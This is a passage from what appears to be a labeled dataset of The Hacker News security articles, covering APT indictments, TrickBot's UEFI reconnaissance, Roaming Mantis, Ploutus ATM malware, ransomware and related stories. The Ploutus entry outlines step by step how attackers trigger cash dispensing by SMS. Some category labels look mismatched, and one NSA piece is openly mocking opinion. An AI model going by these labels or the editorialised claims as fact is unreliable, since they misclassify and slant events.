A third report, scheduled for release later this year, will deal with the legislative environment surrounding such attacks.

",Malware
"U.S. Charges Three Chinese Hackers for Hacking Siemens, Trimble & Moody",https://thehackernews.com/2017/11/chinese-hackers-charged.html,"The United States Justice Department has charged three Chinese nationals for allegedly hacking Moody's Analytics economist, German electronics manufacturer Siemens, and GPS maker Trimble, and stealing gigabytes of sensitive data and trade secrets.

According to an indictment unsealed Monday in federal court in Pittsburgh, Pennsylvania, the three men worked for a Chinese cybersecurity company, Guangzhou Bo Yu Information Technology Company Limited (Boyusec), previously linked to China's Ministry of State Security.

Earlier this year, security researchers also linked Boyusec to one of the active Chinese government-sponsored espionage groups, called Advanced Persistent Threat 3 (or APT3), which is also known as Gothic Panda, UPS Team, Buckeye, and TG-0110.

In 2013, APT3 allegedly stole the blueprints for ASIO's new Canberra building using a piece of malware that was uploaded to an ASIO employee's laptop.

According to the indictment, the three Chinese nationals—identified as Wu Yingzhuo, Dong Hao, and Xia Lei—launched ""coordinated and unauthorized"" cyber attacks between 2011 and 2017, and successfully steal information from a number of organizations by compromising their accounts.

The trio of hackers has alleged to have attacked Moody's Analytics, Siemens, and Trimble by sending spear-phishing emails with malicious attachments or links to malware.

The men also used customized tools collectively known as the 'ups' or 'exeproxy' malware to gain unauthorized, persistent access to the targeted companies' networks, allowing them to search for and steal confidential business information and user credentials.
""The primary goal of the co-conspirators' unauthorized access to victim computers was to search for, identify, copy, package, and steal data from those computers, including confidential business and commercial information, work product, and sensitive victim employee information, such as usernames and passwords that could be used to extend unauthorized access within the victim systems,"" the DOJ said.

The most affected one of the three companies was IT giant Siemens. According to the indictment, the defendants:

Stole approximately 407 gigabytes of data from Siemens' energy, technology and transportation businesses in 2014.
Hacked into Trimble's network and stole at least 275 megabytes of data, including trade secrets related to global navigation satellite systems technology the company spent millions of dollars developing, in 2015 and 2016.
Accessed an internal email server at Moody's in 2011 and forwarded the account of an unidentified ""prominent employee"" to their own accounts, and eventually accessing the confidential messages sent to that account until 2014.

According to the DoJ, both Wu and Dong were co-founders and shareholders of Boyusec, while Lei was an employee. All the three defendants were residents of Guangzhou.

The Chinese men have been charged with a total of eight counts, including one charge of committing computer fraud and abuse, two charges of committing trade secret theft, three counts of wire fraud and four to eight counts of aggravated identity theft.

If found guilty in the court of law, the hackers face a maximum sentence of 42 years in prison.

",Data_Breaches
"Hezbollah Hacker Group Targeted Telecoms, Hosting, ISPs Worldwide",https://thehackernews.com/2021/01/hezbollah-hacker-group-targeted.html,"A ""persistent attacker group"" with alleged ties to Hezbollah has retooled its malware arsenal with a new version of a remote access Trojan (RAT) to break into companies worldwide and extract valuable information.
In a new report published by the ClearSky research team on Thursday, the Israeli cybersecurity firm said it identified at least 250 public-facing web servers since early 2020 that have been hacked by the threat actor to gather intelligence and steal the company's databases.
The orchestrated intrusions hit a slew of companies located in the U.S., the U.K., Egypt, Jordan, Lebanon, Saudi Arabia, Israel, and the Palestinian Authority, with a majority of the victims representing telecom operators (Etisalat, Mobily, Vodafone Egypt), internet service providers (SaudiNet, TE Data), and hosting and infrastructure service providers (Secured Servers LLC, iomart).
First documented in 2015, Volatile Cedar (or Lebanese Cedar) has been known to penetrate a large number of targets using various attack techniques, including a custom-made malware implant codenamed Explosive.
Volatile Cedar has been previously suspected of Lebanese origins — specifically Hezbollah's cyber unit — in connection with a cyberespionage campaign in 2015 that targeted military suppliers, telecom companies, media outlets, and universities.
The 2020 attacks were no different. The hacking activity uncovered by ClearSky matched operations attributed to Hezbollah based on code overlaps between the 2015 and 2020 variants of the Explosive RAT, which is deployed onto victims' networks by exploiting known 1-day vulnerabilities in unpatched Oracle and Atlassian web servers.
Using the three flaws in the servers (CVE-2019-3396, CVE-2019-11581, and CVE-2012-3152) as an attack vector to gain an initial foothold, the attackers then injected a web shell and a JSP file browser, both of which were used to move laterally across the network, fetch additional malware, and download the Explosive RAT, which comes with capabilities to record keystrokes, capture screenshots, and execute arbitrary commands.
""The web shell is used to carry out various espionage operations over the attacked web server, including potential asset location for further attacks, file installation server configuration and more,"" the researchers noted, but not before obtaining escalated privileges to carry out the tasks and transmit the results to a command-and-control (C2) server.
In the five years since the Explosive RAT was first seen, ClearSky said new anti-debugging features were added to the implant in its latest iteration (V4), with the communications between the compromised machine and the C2 server now encrypted.
While it's not surprising for threat actors to keep a low profile, the fact that Lebanese Cedar managed to stay hidden since 2015 without attracting any attention whatsoever implies the group may have ceased operations for prolonged periods in between to avoid detection.
ClearSky noted that the group's use of web shell as its primary hacking tool could have been instrumental in leading researchers to a ""dead-end in terms of attribution.""
""Lebanese Cedar has shifted its focus significantly. Initially they attacked computers as an initial point of access, then progressed to the victim's network then further progressing (sic) to targeting vulnerable, public facing web servers,"" the researchers added.

",Cyber_Attack
Scam Alert: Your Trusted Friends Can Hack Your Facebook Account,https://thehackernews.com/2017/10/facebook-account-hacking-scam.html,"If you receive a message from any of your Facebook Friends asking for urgent help to recover their Facebook account, since they've added you as one of their 'Trusted Contacts'—just don't blindly believe it.

Researchers have detected a new Facebook phishing scam that can even trick an experienced technical user into falling victim to the scam, helping an attacker gain access to your Facebook account.

This latest social media scam is abusing ""Trusted Contact""—a Facebook account recovery feature that sends secret access codes to a few of your close friends in order to help you regain access to your Facebook account in case you forget your password or lost access to your account.

According to a public security alert published by AccessNow, the attack initiates by an already compromised account of one of your friends, asking for urgent help to get back into his/her Facebook account.

The attacker explains that you are listed as one of his/her Trusted Contacts on Facebook and asks you to check your email for a recovery code and share with the attacker (who's hiding behind the identity of your friend).

However, in actual, the code you received is not the key to unlock your friend's account, but instead, the attacker initiated ""Forgot my password"" request for your account in an attempt to hijack your Facebook account.

Knowing that a friend is in trouble, apparently one would share the code without giving a second thought.
""The new attack targets people using Facebook, and it relies on your lack of knowledge about the platform's Trusted Contacts feature,"" Access Now warns.
You should know Facebook's Trusted Contacts feature doesn't work the way this phishing attack suggests. To understand how this feature works, you can head on to this Facebook post.

The Access Now says, ""So far we're seeing the majority of reports [falling victims to this new Facebook phishing scam] from human right defenders and activists from the Middle East and North Africa.""

Although this latest Facebook scam is initiated using a compromised Facebook account of one of your friends, any of your Facebook friend can also intentionally trick you into handing over your Facebook account to them (looking at the way how people accept friend requests sent by anyone on the social media platform).
The best way to protect yourself is always to be vigilant to every recovery emails you receive, and read the recovery message or email carefully, even if it is sent by one of your actual friends.

Stay Safe!

",Cyber_Attack
Windows Phone 7.5 Denial of Service Attack Vulnerability (Video Demonstration),https://thehackernews.com/2011/12/windows-phone-75-denial-of-service.html,"Denial of Service Attack Vulnerability in Windows Phone 7.5

Microsoft's range of Windows Phones suffer from a denial-of-service attack bug that allows attackers to reboot the device and disable the messaging functionality on a device.

A malicious SMS sent to a Windows Phone 7.5 device will force it to reboot and lock down the messaging hub . WinRumors reader Khaled Salameh discovered the flaw and reported it to us on Monday. WinRumors said tests revealed that the flaw affected a variety of devices running different builds of the mobile operating system. A Facebook chat message and Windows Live Messenger message will also trigger the bug.
Video Demonstration
Both Apple and Google have suffered from SMS bugs with their iOS and Android devices. Security researcher Charlie Miller discovered a flaw in the iOS 3.0 software that allowed attackers complete control over an iPhone at the time. Android-based phones also suffered in the SMS attack, but attackers could only knock a phone offline rather than gain full access.

Microsoft representatives did not immediately respond to a request for comment, but WinRumors says it is working with the tipster to privately reveal the flaw to Microsoft.

",Vulnerability
TapLogger Android Trojan can Determine Tapped Keys,https://thehackernews.com/2012/04/taplogger-android-trojan-can-determine.html,"TapLogger Android Trojan cab Determine Tapped Keys


Today's smartphones are shipp ed with various embedded motion sensors, such as the accelerometer, gyroscope, and orientation sensors. These motion sensors are useful in supporting the mobile UI innovation and motion-based commands. However, they also bring potential risks of leaking user's private information as they allow third party applications to monitor the motion changes of smart phones.

A team of researchers from Pennsylvania State University (PSU) and IBM have devised an Android-based Trojan that can use a handset's onboard movement sensors to crack passwords.

The team created an experimental app called TapLogger, which is based on the premise that when you tap on your touch screen, you're not just interacting with the screen, but moving the entire device. So if you hit a button in the upper right corner, your phone will actually move in that direction slightly, and that subtle movement is then read by the accelerometer and other sensors built-in to your device.

TapLogger was created by Zhi Xu, a PhD candidate in the Department of Computer Science and Engineering at PSU, Kun Bai, a researcher at IBM T.J. Watson Research Center and Sencun Zhu, an associate professor of Computer Science and Engineering at PSU's College of Engineering.

Accelerometer and orientation sensor data are not protected under Android's security model, and this means that they are exposed to any application, regardless of its permissions on the system, the research team said in a paper that was presented during the ACM Conference on Security and Privacy in Wireless and Mobile Networks on Tuesday.

In August 2011, a pair of researchers from University of California proposed a similar attack and designed a concept application called TouchLogger to demonstrate it.

",Vulnerability
TrickBot Malware Gets UEFI/BIOS Bootkit Feature to Remain Undetected,https://thehackernews.com/2020/12/trickbot-malware-gets-uefibios-bootkit.html,"TrickBot, one of the most notorious and adaptable malware botnets in the world, is expanding its toolset to set its sights on firmware vulnerabilities to potentially deploy bootkits and take complete control of an infected system.
The new functionality, dubbed ""TrickBoot"" by Advanced Intelligence (AdvIntel) and Eclypsium, makes use of readily available tools to check devices for well-known vulnerabilities that can allow attackers to inject malicious code in the UEFI/BIOS firmware of a device, granting the attackers an effective mechanism of persistent malware storage.
""This marks a significant step in the evolution of TrickBot as UEFI level implants are the deepest, most powerful, and stealthy form of bootkits,"" the researchers said.
""By adding the ability to canvas victim devices for specific UEFI/BIOS firmware vulnerabilities, TrickBot actors are able to target specific victims with firmware-level persistence that survives re-imaging or even device bricking capability.""
UEFI is a firmware interface and a replacement for BIOS that improves security, ensuring that no malware has tampered with the boot process. Because UEFI facilitates the loading of the operating system itself, such infections are resistant to OS reinstallation or replacement of the hard drive.
TrickBot emerged in 2016 as a banking trojan but has since evolved into a multi-purpose malware-as-a-service (MaaS) that infects systems with other malicious payloads designed to steal credentials, email, financial data, and spread file-encrypting ransomware such as Conti and Ryuk.
Its modularity and versatility have made it an ideal tool for a diverse set of threat actors despite attempts by cyber vendors to take the infrastructure down. It has also been observed in conjunction with Emotet campaigns to deploy Ryuk ransomware.
""Their most common attack chain largely begins via Emotet malspam campaigns, which then loads TrickBot and/or other loaders, and moves to attack tools like PowerShell Empire or Cobalt Strike to accomplish objectives relative to the victim organization under attack,"" the researchers said. ""Often, at the end of the kill-chain, either Conti or Ryuk ransomware is deployed.""
To date, the botnet has infected more than a million computers, according to Microsoft and its partners at Symantec, ESET, FS-ISAC, and Lumen.
From a Reconnaissance Module to an Attack Function
The newest addition to their arsenal suggests that TrickBot can not only be used to target systems en masse with ransomware and UEFI attacks but also provide criminal actors even more leverage during ransom negotiation by leaving a covert UEFI bootkit on the system for later use.
The development is also yet another sign that adversaries are extending their focus beyond the operating system of the device to lower layers to avoid detection and carry out destructive or espionage-focused campaigns.
TrickBot's reconnaissance component, observed for the first time in October 2020 right after the take-down attempts orchestrated by the US Cyber Command and Microsoft, targets Intel-based systems from Skylake through Comet Lake chipsets to probe for vulnerabilities in the UEFI firmware of the infected machines.
Specifically, the researchers found that TrickBoot takes aim at the SPI flash chip that houses the UEFI/BIOS firmware, using an obfuscated copy of RWEverything tool's RwDrv.sys driver to check if the BIOS control register is unlocked and the contents of the BIOS region can be modified.
Although the activity is limited to reconnaissance so far, it wouldn't be a stretch if this capability is extended to write malicious code to the system firmware, thereby ensuring that attacker code executes before the operating system and paving the way for the installation of backdoors, or even the destruction of a targeted device.
What's more, given the size and scope of the TrickBot, an attack of this kind can have severe consequences.
""TrickBoot is only one line of code away from being able to brick any device it finds to be vulnerable,"" the researchers noted. ""The national security implications arising from a widespread malware campaign capable of bricking devices is enormous.""
With UEFI persistence, ""TrickBot operators can disable any OS level security controls they want, which then allows them to re-surface to a modified OS with neutered endpoint protections and carry out objectives with unhurried time on their side.""
To mitigate such threats, it's recommended that the firmware is kept up-to-date, BIOS write protections are enabled, and firmware integrity is verified to safeguard against unauthorized modifications.

",Malware
Operation Card Shop : FBI Arrested 24 Credit Card Cyber Criminals,https://thehackernews.com/2012/06/operation-card-shop-fbi-arrested-24.html,"Operation Card Shop : FBI Arrested 24 Credit Card Cyber Criminals

The FBI has arrested 24 cybercriminals part of an international law enforcement operation aiming to arrest and prosecute the users of a sting operation called ""Carder Profit"". The suspects, collared after a two-year investigation dubbed ""Operation Card Shop,"" allegedly stole credit card and banking data and exchanged it with each other online.

""We put a major dent in cybercrime,"" she said. ""This is an unprecedented operation.""In the sting, which they called Operation Card Shop, undercover investigators created an online bazaar to catch buyers and sellers of credit card data and other private financial information. They also aimed at people who clone and produce the physical credit cards that are then used to buy merchandise.

Some CarderProfit users apparently learned of the involvement of the feds months ago. A Twitter user with the name @JoshTheGod wrote that ""has informants and most likly to be believed as a Federal Sting,"" back in April.


Names of the arrested cybercriminals:
MICHAEL HOGUE - xVisceral
JARAND MOEN ROMTVEIT - zer0
MIR ISLAM - JoshTheGod
STEVEN HANSEN - theboner1
ALI HASSAN - Badoo
JOSHUA HICKS - OxideDox
MARK CAPARELLI - Cubby
SETH HARPER - Kabraxis314
CHRISTIAN CANGEOPO - 404myth
Many of the 11 individuals arrested in the United States offered specialized skills and products on the sting site. One, who used the screen name xVisceral, offered remote access tools known as RATS that would spy on computers and Web cameras; the programs sold for $50 a copy.

Federal officials maintained that the operation prevented potential losses of more than $200 million. Credit card providers were notified of more than 400,000 compromised credit and debit cards, the officials said.

""As the cyber threat grows more international, the response must be increasingly global and forceful,"" Manhattan U.S. Attorney Preet Bharara said.Bharara called the crackdown ""largest coordinated international law enforcement action in history"" directed criminals who use the Internet to traffic in stolen credit cards and bank accounts.

Operation Card Shop is the latest in a long string of cybercrime initiatives carried out by the FBI. In January, the agency shut down file-sharing site Megaupload after its staff was charged with copyright violations (inviting a retaliatory strike from Anonymous). Late last year, the FBI announced the arrest of six Estonian citizens after they were charged with using malware to infiltrate Internet advertising services

Yet another cybercrime-friendly community was targeted in the operation, although the press release is not discussing the matter. The community in question, Fraud.su, which currently returns an index page placed there by U.S law enforcement agencies.The operation appears to be widespread, as the web site of the UGNazi group (UGNAZI.com) is also defaced by U.S law enforcement agencies.

US officials said the operation prevented losses of $205m (£131m) from debit and credit cards.

",Malware
Cybercriminals Hijack Router DNS to Distribute Android Banking Trojan,https://thehackernews.com/2018/04/android-dns-hijack-malware.html,"Security researchers have been warning about an ongoing malware campaign hijacking Internet routers to distribute Android banking malware that steals users' sensitive information, login credentials and the secret code for two-factor authentication.

In order to trick victims into installing the Android malware, dubbed Roaming Mantis, hackers have been hijacking DNS settings on vulnerable and poorly secured routers.

DNS hijacking attack allows hackers to intercept traffic, inject rogue ads on web-pages and redirect users to phishing pages designed to trick them into sharing their sensitive information like login credentials, bank account details, and more.

Hijacking routers' DNS for a malicious purpose is not new. Previously we reported about widespread DNSChanger and Switcher—both the malware worked by changing the DNS settings of the wireless routers to redirect traffic to malicious websites controlled by attackers.

Discovered by security researchers at Kaspersky Lab, the new malware campaign has primarily been targeting users in Asian countries, including South Korea, China Bangladesh, and Japan, since February this year.

Once modified, the rogue DNS settings configured by hackers redirect victims to fake versions of legitimate websites they try to visit and displays a pop-up warning message, which says—""To better experience the browsing, update to the latest chrome version.""
It then downloads the Roaming Mantis malware app masquerading as Chrome browser app for Android, which takes permission to collect device' account information, manage SMS/MMS and making calls, record audio, control external storage, check packages, work with file systems, draw overlay windows and so on.
""The redirection led to the installation of Trojanized applications named facebook.apk and chrome.apk that contained Android Trojan-Banker.""
If installed, the malicious app overlays all other windows immediately to show a fake warning message (in broken English), which reads, ""Account No.exists risks, use after certification.""

Roaming Mantis then starts a local web server on the device and launches the web browser to open a fake version of Google website, asking users to fill up their names and date of births.
To convince users into believing that they are handing over this information to Google itself, the fake page displays users' Gmail email ID configured on their infected Android device, as shown in the screenshots.
""After the user enters their name and date of birth, the browser is redirected to a blank page at https://127.0.0.1:${random_port}/submit,"" researchers said. ""Just like the distribution page, the malware supports four locales: Korean, Traditional Chinese, Japanese and English.""
Since Roaming Mantis malware app has already gained permission to read and write SMS on the device, it allows attackers to steal the secret verification code for the two-factor authentication for victims' accounts.

While analysing the malware code, Researchers found reference to popular South Korean mobile banking and gaming applications, as well as a function that tries to detect if the infected device is rooted.
""For attackers, this may indicate that a device is owned by an advanced Android user (a signal to stop messing with the device) or, alternatively, a chance to leverage root access to gain access to the whole system,"" the researchers said.
What's interesting about this malware is that it uses one of the leading Chinese social media websites (my.tv.sohu.com) as its command-and-control server and sends commands to infected devices just via updating the attacker-controlled user profiles.
According to Kaspersky's Telemetry data, the Roaming Mantis malware was detected more than 6,000 times, though the reports came from just 150 unique users.

You are advised to ensure your router is running the latest version of the firmware and protected with a strong password.

You should also disable router's remote administration feature and hardcode a trusted DNS server into the operating system network settings.

",Malware
"BIOS Malware that can remotely destroy any computer, NSA claimed",https://thehackernews.com/2013/12/bios-malware-that-can-remotely-destroy_16.html,"During a CBS Interview show ""60 Minutes"", The National Security Agency (NSA) officials claimed that China has developed a BIOS based malware that can remotely destroy any computer.

Obviously NSA is struggling to repair its image and in an effort to justify their extensive Surveillance programs, The NSA Director General Keith Alexander and Information Assurance Director Debora Plunkett made a number of claims.
During that interview NSA officials said that they had foiled a malware attack that could have taken down the U.S. economy.

""One of our analysts actually saw that the nation state had the intention to develop and to deliver, to actually use this capability to destroy computers,"" Plunkett said.

They have mentioned that this malware was distributed via social engineering and targeted emails, although the NSA director mentioned that their researchers worked with computer manufacturers and able to close the respective vulnerability.

""This is the BIOS system which starts most computers. The attack would have been disguised as a request for a software update. If the user agreed, the virus would've infected the computer."" he added.

""Think about the impact of that across the entire globe. It could literally take down the U.S. economy."" (BULLSHIT)

If this Malware was intentionally born to threat U.S Economy, then what about DNS Changer malware or Zeus banking Trojan or infomous CryptoLocker ransomware that extensively spread across USA? So, Why NSA's Surveillance programs are failed to defend us from similar known threats ?

Complete Interview Video:

The BIOS malware is not new in the cyber world, and really not a big threat, but if NSA seriously justifying their Surveillance program by saying that this so called BIOS malware was one of the biggest threat they has taken down, then LET ME LAUGH. (Score Card = Snowden : 3, NSA: 0)

",Malware
Creators of SpyEye Virus Sentenced to 24 Years in Prison,https://thehackernews.com/2016/04/spyeye-banking-trojan.html,"In Brief
Two International hackers, Aleksandr Andreevich Panin and Hamza Bendelladj, have been sentenced to a combined 24 years and 6 months in prison for their roles in developing and distributing SpyEye banking trojan, a powerful botnet similar to the infamous ZeuS malware.

Both hackers were charged with stealing hundreds of millions of dollars from banking institutions worldwide.

Masterminds behind the development and distribution of the infamous ""SpyEye"" botnet have finally been sentenced to a combined total of 24 years and 6 months in prison.

Aleksandr Andreevich Panin and Hamza Bendelladj have been sentenced for their roles in developing and distributing SpyEye malware that is said to have caused hundreds of millions of dollars in losses to the financial sector, the U.S. Justice Department said on Wednesday.

SpyEye, a successor to the notorious Zeus banking malware, has affected financial institutions since 2009.

Once infected, the malware connects to the command-and-control servers controlled by attackers and steals the victim's personal and financial information, like online banking credentials and credit card information using keyloggers and Web injection.

Panin, a 27-year-old Russian programmer also known by the aliases 'Gribodemon' and 'Harderman,' was sentenced by the court to nine years, six months in prison for developing SpyEye as a successor to Zeus.

In 2010, Panin allegedly received the source code and rights to sell Zeus from Evginy Bogachev, aka Slavik, and incorporated many components of it into SpyEye. Bogachev, who is currently the FBI's most wanted hacker, remains at large.

Panin's associate Bendelladj, a 27-year-old Algerian national also known by the hacker alias as 'Bx1' and 'Happy Hacker,' who hacked 217 banks, donated more than $280 Million to Palestinian charities. He got a sentence of 15-year in prison for marketing and advertising the SpyEye malware on various online forums.

Bendelladj sold versions of SpyEye to almost 150 clients for prices ranging from $1,000 to $8,500 and one of his customers, 'Soldier,' had reported having made over $3.2 Million in just six months using the virus.

The Department of Justice (DoJ) has described SpyEye as a ""preeminent malware banking Trojan,"" which was used to infect over 50 million computers worldwide from 2010 to 2012, causing nearly $1 Billion in financial losses to individuals and financial institutions globally.

Bendelladj was arrested in Thailand in January 2013 and extradited to the United States at the same year while Panin was detained in July 2013 while he was flying through Hartsfield-Jackson Atlanta International Airport.

",Malware
Hackers Threaten to Leak D.C. Police Informants' Info If Ransom Is Not Paid,https://thehackernews.com/2021/04/hackers-threaten-to-leak-dc-police.html,"The Metropolitan Police Department (MPD) of the District of Columbia has become the latest high-profile government agency to fall victim to a ransomware attack.
The Babuk Locker gang claimed in a post on the dark web that they had compromised the DC Police's networks and stolen 250 GB of unencrypted files. Screenshots shared by the group, and seen by The Hacker News, include various folders containing what appears to be investigation reports, arrests, disciplinary actions, and other intelligence briefings.
Also called the DC Police, the MPD is the primary law enforcement agency for the District of Columbia in the U.S.
The ransomware gang has given the department three days to heed to their ransom demand or risk leaking sensitive files that could expose police informants to criminal gangs.
""Hello! Even an institution such as DC can be threatened, we have downloaded a sufficient amount of information from your internal networks, and we advise you to contact us as soon as possible, to prevent leakage, if no response is received within 3 days, we will start to contact gangs in order to drain the informants, we will continue to attack the state sector of the usa, fbi csa, we find 0 day before you, even larger attacks await you soon,"" the ransomware group said on their data leak site.
Babuk Locker is a relative newcomer in the ransomware landscape, with the group targeting transportation, healthcare, plastic, electronics, and agricultural sectors across the U.S., U.K., U.A.E., China, India, South Africa, Spain, Germany, and Italy at least since the beginning of 2021. The syndicate is also known for attacking Linux-based systems such as VMware ESXi.
""The Babuk gang highlighted the key problem that all organizations face when confronting threats, and that is speed,"" Cymulate CTO Avihai Ben-Yossef said. ""The time it takes for known vulnerabilities to get patched on all systems is too long. Defenders that rely on manual security testing methodologies are unable to match the pace of threat actors in finding security gaps and fixing them.""

",Malware
Ticketmaster To Pay $10 Million Fine For Hacking A Rival Company,https://thehackernews.com/2021/01/ticketmaster-to-pay-10-million-fine-for.html,"Ticketmaster has agreed to pay a $10 million fine after being charged with illegally accessing computer systems of a competitor repeatedly between 2013 and 2015 in an attempt to ""cut [the company] off at the knees.""
A subsidiary of Live Nation, the California-based ticket sales and distribution company used the stolen information to gain an advantage over CrowdSurge — which merged with Songkick in 2015 and later acquired by Warner Music Group (WMG) in 2017 — by hiring a former employee to break into its tools and gain insight into the firm's operations.
""Ticketmaster employees repeatedly – and illegally – accessed a competitor's computers without authorization using stolen passwords to unlawfully collect business intelligence,"" said Acting U.S. Attorney Seth DuCharme.
""Further, Ticketmaster's employees brazenly held a division-wide 'summit' at which the stolen passwords were used to access the victim company's computers, as if that were an appropriate business tactic.""
The allegations were first reported in 2017 after CrowdSurge sued Live Nation for antitrust violations, accusing Ticketmaster of accessing confidential business plans, contracts, client lists, and credentials of CrowdSurge tools.
According to court documents released on December 30, after being hired by Live Nation in 2013, Stephen Mead, who was CrowdSurge's general manager of U.S. operations, shared with Zeeshan Zaidi, the former head of Ticketmaster's artist services division, and another Ticketmaster employee the passwords to Artist Toolbox, an app that provided real-time data about tickets sold through the victim company.
Besides password theft, Mead is also accused of providing ""internal and confidential financial documents"" retained from his former employer, as well as URLs for draft ticketing web pages so as to learn which artists planned to use CrowdSurge to sell tickets and ""dissuade"" them from doing so.
On October 18, 2019, Zaidi pled guilty in a related case to conspiring to commit computer intrusions and wire fraud for his participation in the scheme, stating, ""we're not supposed to tip anyone off that we have this view into [the victim company's] activities.""
An unnamed Ticketmaster executive said in an internal email the goal was to ""choke off"" and ""steal"" its signature clients by winning back the presale ticketing business for a second major artist that was a client of CrowdSurge.
Both Mead and Zaidi are no longer employed by Ticketmaster.
""Ticketmaster terminated both Zaidi and Mead in 2017, after their conduct came to light. Their actions violated our corporate policies and were inconsistent with our values. We are pleased that this matter is now resolved,"" a company spokesperson told The Hacker News.
Ticketmaster previously settled a lawsuit brought by Songkick in 2018 by agreeing to pay the company's owners $110 million and acquire its remaining intellectual property not sold to WMG for an undisclosed amount.
Besides paying the $10 million penalties, Ticketmaster is expected to maintain a compliance and ethics program to detect and prevent such unauthorized acquisition of confidential information belonging to its rivals.
The company will also be required to make an annual report to the U.S. Attorney's Office over the next three years to ensure compliance.

",Malware
CASH! CASH! Hacking ATM Machines with Just a Text Message,https://thehackernews.com/2014/03/hacking-atm-machines-for-cash-with-just.html,"As we reported earlier, Microsoft will stop supporting the Windows XP operating system after 8th April, apparently 95% of the world's 3 million ATM machines are run on it. Microsoft's decision to withdraw support for Windows XP poses critical security threat to the economic infrastructure worldwide.

MORE REASONS TO UPGRADE
Security researchers at Antivirus firm Symantec claimed that hackers can exploit a weakness in Windows XP based ATMs, that allow them to withdraw cash simply by sending an SMS to compromised ATMs.

""What was interesting about this variant of Ploutus was that it allowed cybercriminals to simply send an SMS to the compromised ATM, then walk up and collect the dispensed cash. It may seem incredible, but this technique is being used in a number of places across the world at this time."" researchers said.

HARDWIRED Malware for ATMs
According to researchers - In 2013, they detected a malware named Backdoor.Ploutus, installed on ATMs in Mexico, which is designed to rob a certain type of standalone ATM with just the text messages.

To install the malware into ATMs machines, hacker must connect the ATM to a mobile phone via USB tethering and then to initiate a shared Internet connection, which then can be used to send specific SMS commands to the phone attached or hardwired inside the ATM.
""Since the phone is connected to the ATM through the USB port, the phone also draws power from the connection, which charges the phone battery. As a result, the phone will remain powered up indefinitely.""

HOW-TO HACK ATMs
Connect a mobile phone to the machine with a USB cable and install Ploutus Malware.
The attacker sends two SMS messages to the mobile phone inside the ATM.
SMS 1 contains a valid activation ID to activate the malware
SMS 2 contains a valid dispense command to get the money out
Mobile attached inside the ATM detects valid incoming SMS messages and forwards them to the ATM as a TCP or UDP packet.
Network packet monitor (NPM) module coded in the malware receives the TCP/UDP packet and if it contains a valid command, it will execute Ploutus
Amount for Cash withdrawal is pre-configured inside the malware
Finally, the hacker can collect cash from the hacked ATM machine.
Researchers have detected few more advanced variants of this malware, some attempts to steal customer card and PIN data, while others attempt man-in-the-middle attacks.

This malware is now spreading to other countries, so you are recommended to pay extra attention and remain cautious while using an ATM.

",Malware
Police Ransomware Malware Targeting Android Smartphones,https://thehackernews.com/2014/05/police-ransomware-malware-targeting.html,"After hacking PCs, Cyber criminals have now begun targeting Smartphones with a special piece of malicious software that locks up the devices until the victims pay a ransom to get the keys to unlock the phone, called Ransomware.

Ransomware typically targets users' personal computers and has become a profitable way for cyber criminals to earn money.

To deliver the Ransomware malwares to the mobile devices, cyber criminals have started creating malicious software programs that masquerade as antivirus apps or other play store apps, but instead of protecting your smart devices, they lock up your Smartphone until you pay a ransom to unlock it.

RANSOMWARE - POLICE & CRYPTOLOCKER
As we reported earlier in news updates, security researchers disclosed various Police ransomware targeting users' personal computers. The ransomware software once installed, cyber criminals attempts to lock the victim's computer hard disk and files from a remote location.

Usually, the police ransomware masquerade as an official warning from a law enforcement agency, which claims that the victim's PC has been determined to have visited illegal websites and payment is necessary for a fine to restore the computer's functionality.

Cryptolocker is another infamous member of Ransomware family, designed to extort money from computer users by holding computer files hostage until the computer user pays a ransom fee to get them back. The Cryptolocker hijacker sniffs out your personal files and wraps them with strong encryption before it demands money.

Cryptolocker Ransomware is just like any other computer infection, but it can be potentially worse since it can cause permanent damage, such as deleted files and files that become encrypted forever and the infected users are in danger of losing their personal files forever.

POLICE RANSOMWARE TARGETING SMARTPHONES
Similar threat has come to Smartphone devices as well and Android users might soon become the victims of ""Police Locker"" ransomware malware. According to recent report from the researcher behind the Malware don't need Coffee blog, Cyber Criminals behind the Reveton ransomware have joined Nertra Ransomware team to target Android users, along with Windows, Mac OS X and Linux.

To Deliver the ransomware malware hackers are using various social engineering techniques, include lockers system, fake Antivirus solution, fake audio-video codecs and Browlock ransomware.

According to the researcher, The booby-trapped (malicious) websites are so cleverly crafted in such a way:
If victim visits it using Internet Explorer browser, a variant of ransomware Winlock will be offered.
If victim surf it with any other browser on Windows, Linux or Mac, they will offer Brownlock malware
If victim visits the site with Android browser, he will be redirected to a fake website that will automatically download a malicious application (APK file ) from the browser, disguised as a video downloader.
Like other popular ransomware threats, such as FBI MoneyPak Ransomware, Ukash Virus and Police Central E-Crime Unit (PCEU) Ransomware, Android version also displays a message to threaten the user with arrest or prosecution because child pornography or other objectionable material has been found on the device. Scared or frustrated users are often willing to pay hundreds of dollars to avoid the fine or to free their system again.
We also came across a report in which a man killed his 4 year old baby and then himself committed suicide after his computer got infected with ""police ransomware,"" which is an extent of Ransomware that has marked its history by someone's blood.

If You are already infected by any one of such malwares, stop your keyboard and don't pay the fine. Install updated Antivirus software to get rid of the ransomware virus.

Android users are always advised to treat unrecognized applications or applications from third-party sources with extreme caution and try to always download applications from trusted App Stores.

",Malware
NMAP Script to Check Presence of ms12-020 RDP vulnerability,https://thehackernews.com/2012/03/nmap-script-to-check-presence-of-ms12.html,"NMAP Script to Check Presence of ms12-020 RDP vulnerability


Yesterday Sam Bowne was working on a NMAP script, which will be able to Check Presence of ms12-020 RDP vulnerability on a machine via scan only. But unfortunately, it was less in success rate, Later @ea_foundation joins Sam Bowne to develop a working Nmap script.


Microsoft bulletin ms12-020 patches two vulnerabilities.CVE-2012-0152 which addresses a DoS vulnerability inside Terminal Server,and CVE-2012-0002 which fixes a vulnerability in Remote Desktop Protocol.Both are part of Remote Desktop Services. The hackers worked quickly on this particular vulnerability and we've already seen attempts to exploit the flaw which exists in a part of Windows called the Remote Desktop Protocol.

Script works by checking for a CVE-2012-0152 vulnerability.Patched and unpatched system differ in the results from whichwe can conclude if the service is vulnerable or not.

Download Nmap Script : ms12-020-rev.nse



",Vulnerability
Hackers are implanting multiple backdoors at industrial targets in Japan,https://thehackernews.com/2021/03/hackers-are-implanting-multiple.html,"Cybersecurity researchers on Tuesday disclosed details of a sophisticated campaign that deploys malicious backdoors for the purpose of exfiltrating information from a number of industry sectors located in Japan.
Dubbed ""A41APT"" by Kaspersky researchers, the findings delve into a new slew of attacks undertaken by APT10 (aka Stone Panda or Cicada) using previously undocumented malware to deliver as many as three payloads such as SodaMaster, P8RAT, and FYAnti.
